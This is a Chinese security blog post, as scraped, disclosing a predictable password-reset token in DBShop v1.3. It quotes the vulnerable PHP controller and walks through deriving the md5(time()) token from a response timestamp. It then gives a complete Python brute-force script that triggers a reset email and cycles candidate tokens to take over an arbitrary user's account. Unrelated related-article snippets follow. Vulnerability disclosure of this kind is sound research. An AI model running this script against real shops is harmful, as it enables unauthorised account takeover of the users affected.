0x00 前言

年也过的差不多了,各自也都回到岗位忙碌起来了,新的一年祝大家诸事顺利,洞洞高危!好了进入正题

0x01 漏洞简介

本次主要写个简单的逻辑漏洞!然后抛个Message 内置高危。

1、找回密码token爆破

0x02 漏洞分析

漏洞文件:\DBShop\module\Shopfront\src\Shopfront\Controller\UserController.php

漏洞函数:forgotpasswdAction

    public function forgotpasswdAction ()

    {

        if($this->getServiceLocator()->get('frontHelper')->getUserSession('user_id') != '')

            return $this->redirect()->toRoute('fronthome/default');

        $array = array();

        if($this->request->isPost()) {

            $postArray = $this->request->getPost()->toArray();

            $userInfo  = $this->getDbshopTable('UserTable')->infoUser(array('user_name'=>$postArray['user_name'], 'user_email'=>$postArray['user_email']));

            if(isset($userInfo->user_name) and $userInfo->user_name != '') {

                //生成唯一码及url

                $editCode    = md5($userInfo->user_name . $userInfo->user_email) . md5(time());

                $editUrl     = $this->getServiceLocator()->get('frontHelper')->dbshopHttpOrHttps() . $this->getServiceLocator()->get('frontHelper')->dbshopHttpHost() . $this->url()->fromRoute('frontuser/default', array('action'=>'forgotpasswdedit')) . '?editcode=' . $editCode;

                //发送的邮件内容

                $forgotEmail = array(

                    'send_user_name'=> $userInfo->user_name,

                    'send_mail'     => $userInfo->user_email,

                    'subject'       => $this->getServiceLocator()->get('frontHelper')->websiteInfo('shop_name') . $this->getDbshopLang()->translate('会员密码修改'),

                    'body'          => $this->getDbshopLang()->translate('亲爱的') . $userInfo->user_name . '<br>' . $this->getDbshopLang()->translate('您好,请点击下面的链接进行密码修改') . '<a href="'.$editUrl.'" target="_blank">'

                            . $this->getDbshopLang()->translate('点击修改密码 ') . '</a><br>' . $this->getDbshopLang()->translate('如果您无法点击修改链接,请复制下面的链接地址在浏览器中打开,完成密码修改 ') . '<br>' . $editUrl

                );

                try {

                    $this->getServiceLocator()->get('shop_send_mail')->toSendMail($forgotEmail);

                    $this->getDbshopTable('UserTable')->updateUser(array('user_forgot_passwd_code'=>$editCode),array('user_id'=>$userInfo->user_id));

                    $array['message'] = sprintf($this->getDbshopLang()->translate('已经向您的邮箱 %s 发送了一封邮件,请根据邮件内容完成新密码设定'), '<font color="red">' . $userInfo->user_email . '</font>');

                } catch (\Exception $e) {

                    $array['message'] = $this->getDbshopLang()->translate('无法向您的邮箱发送邮件,请联系管理员处理!');

                }

            } else {

                $array['message'] = $this->getDbshopLang()->translate('您输入的信息错误,没有匹配的会员信息!') . ' ' . $this->getDbshopLang()->translate('请重新输入') . '<a href="'.$this->url()->fromRoute('frontuser/default', array('action'=>'forgotpasswd')).'">' . $this->getDbshopLang()->translate('返回') . '</a>';

            }

        }

        return $array;

    }

这个就是找回密码的功能点,起初我看了下前端有校验验证码,然而不是在这个函数里面,可绕过。

这代码写的挺简陋的接受用户传入的post数据并赋值给$postArray数组,然后查询user_name和user_email存在则直接发送一个找回密码的token到用户邮箱。

看一下生成token的过程

$editCode  = md5($userInfo->user_name . $userInfo->user_email) . md5(time());

非常简单的加密方式无非一个time()。举个例子也就是md5(test112test112@qq.com).md5(1550392236)。可爆破

0x03 漏洞演示

http://127.0.0.20/user/forgotpasswd

发送一个重置密码链接到用户邮箱,我们可以手工去爆破!

Response 返回包这里有响应时间

Date: Sun, 17 Feb 2019 09:22:24 GMT

然而令我懵逼的是为什么是09而不是17,不过我们直接把09换成当前的时间就ok了,经测试分和秒都是正确的。这里我在代码处加了var_dump调试,可以看到正确的时间戳和token

在线时间戳转换工具:https://tool.lu/timestamp/

1550395544这个是调试出来的时间戳,和我们推出来的完全相同,就算不同也绝不会有太大的误差,当然还是要根据自己网络情况来判断。

在线php代码调试:

http://www.dooccn.com/php/#id/9c4b55cf81232b9702f0f0baa6490846

这个是我们自己生成的

b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

原token

b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

爆破成功。访问重置密码链接:

http://127.0.0.20/user/forgotpasswdedit?editcode=b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

整个步骤完成,这个是我在本地环境演示的,当然遇到实际情况可能时间戳误差就会比较大。So写了一个脚本测试。

0x04 爆破脚本

#coding: gbk
import requests
import time
import hashlib class DbshopBlastCode(object): def __init__(self,user,email,url):
self.user=user
self.email=email
self.url=url
self.head={
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "{0}/user/forgotpasswd".format(self.url),
"Cookie": "PHPSESSID=ebiu1g0obrlf6m9i8cs1ep9bd0",
"Upgrade-Insecure-Requests": ""
}
self.request=requests.session()
self.send() def buildExp(self):
timeList=[i for i in range(self.nowTime-100,self.nowTime+10)]
timeList.reverse()
md5List=[]
b = hashlib.md5()
b.update(self.user+self.email)
uMd5=b.hexdigest()
for i in timeList:
m = hashlib.md5()
m.update(str(i))
md5List.append(uMd5+m.hexdigest())
self.md5List=md5List
print(self.md5List)
self.fuzz() def send(self):
vailUrl="{0}/user/forgotpasswd".format(self.url)
vailData="user_name={0}&user_email={1}&captcha_code=111".format(self.user,self.email)
try:
result=self.request.post(vailUrl,data=vailData,headers=self.head)
if '<font color="red">'+self.email+'</font>' in result.content:
self.nowTime=int(time.time())
print('ok')
self.buildExp()
else:
print('Url error http://hostname/. Url format is http://hostname ')
print('false')
except Exception as e:
print(e) def fuzz(self):
for i in self.md5List:
url = "{0}/user/forgotpasswdedit?editcode={1}".format(self.url,i)
try:
result=self.request.get(url)
if 'input type="password" id="user_com_passwd" class="span3" name="user_com_passwd" placeho' in result.content:
print(url)
return
except Exception as e:
print(e,'fuzz')
return DbshopBlastCode('test112','test112@qq.com','http://127.0.0.20')

这里http://127.0.0.20 末尾不能加/不然会导致路由错误(404文件不存在)

这里我找了个网站做个演示:

0x05 结束

Dbshop v1.3任意用户密码重置漏洞的更多相关文章

  1. zzcms8.2#任意用户密码重置#del.php时间盲注#复现

    00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品 ...

  2. ZZCMS8.2 用户密码重置漏洞

    前言 一个找回密码处的逻辑漏洞, 还是有点意思的. 正文 首先是定位找回密码功能对应的代码位置,使用找回密码的功能,然后抓包即可 下面去 getpassword.php 里面看看, 首先包含了一些文件 ...

  3. 代码审计-DedeCMS-V5.7前台任意用户密码重置

    0x01 漏洞影响 该漏洞允许攻击者修改任意前台用户密码. 0x02 漏洞利用条件 1,开启会员模块 2,攻击者拥有一个正常的会员账号 3,目标没有设置安全问题 0x03 漏洞分析 漏洞文件:/mem ...

  4. 任意用户密码重置的十种姿势=====>学习笔记!

    原学习视频链接:https://www.butian.net/School/content?id=214%E2%80%98 1.验证码不失效 原因:获取的验证码缺少时间限制,仅判断验证码是否不正确而未 ...

  5. PHPCMS v9.6.0 任意用户密码重置

    参考来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0173130.html 他分析的好像不对.我用我的在分析一次. 先来看poc: /inde ...

  6. 【漏洞分析】dedecms有前提前台任意用户密码修改

     0x00 前言 早上浏览sec-news,发现锦行信息安全发布了一篇文章<[漏洞分析] 织梦前台任意用户密码修改>,看完之后就想着自己复现一下. 该漏洞的精髓是php的弱类型比较,'0. ...

  7. Metinfo 5.3.19管理员密码重置漏洞复现

     Metinfo 5.3.19管理员密码重置漏洞 操作系统:Windows 10专业版   kali linux  网站环境:UPUPW 5.3 使用工具:burpsuite 1.7 beta 漏洞分 ...

  8. Linux root用户密码重置,远程登陆,文件基本属性

    Linux root用户密码重置,远程登陆,文件基本属性 忘记Linux系统的root密码,linux系统忘记root密码的情况该怎么办呢?重新安装系统吗?当然不用!进入单用户模式更改一下root密码 ...

  9. PHPCMS v9.5.8-设计缺陷可重置前台任意用户密码

    验证.参考漏洞:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0152291.html 漏洞出现在/phpcms/modules/member/in ...

随机推荐

  1. Server runtime

    spring mvc常用的注解: 个介绍. @Controller @Controller 负责注册一个bean 到spring 上下文中,bean 的ID 默认为 类名称开头字母小写,你也可以自己指 ...

  2. Connection to linux server with ORACLE SQL DEVELOPER

    1.Link name is random 2.username and password is database account 3.host name  is ip address  ifconf ...

  3. namespace 相关

    #include <iostream>using namespace std;namespace first{ int var = 5;}namespace second{ double ...

  4. 简单转java-web项目

  5. Ubuntu apt-get 更换源

    Ubuntu apt-get 更换源 我们使用清华的镜像源进行更换 Ubuntu 的软件源配置文件是 /etc/apt/sources.list.将系统自带的该文件做个备份,将该文件替换为下面内容,即 ...

  6. LoadRunner 测试Socket接口函数说明

    lrs_save_param_ex是lrs_save_param的扩展函数,包含了lrs_save_param的基本功能.其函数语法结构如下: int lrs_save_param_ex ( char ...

  7. PostgreSQL 连接的问题

    一.在postgresql的安装文件夹\8.3\data\pg_hba.conf里面(或者在开始菜单程序下面的postgresql的配置文档)找到“# IPv4 local connections:” ...

  8. C++Primer学习笔记《三》

    数组名事实上就是一个常指针,指向数组元素中第一个的地址,在程序中假设要用指针遍历数组,不能直接用数组名来自增或自减.由于它是常量,一般先把数组名保存一份同类型的指针,然后再用这个指针来自增或是自减来实 ...

  9. mongod入门实战

    mongod-入门 摘要: 本篇文档,带你快速启动一个mongod,到搭建主从+复制集模式的入门. 内容包括:单实例安装,复制集构建,分片构建,分片及复制集整合. 软件相关信息介绍 MongoDB 是 ...

  10. Mysql 创建普通用户、数据库、表、插入记录,用户赋权

    C:\phpStudy\MySQL\bin>mysql -uroot -proot -h127.0.0.1 //创建用户 mysql> insert into mysql.user (ho ...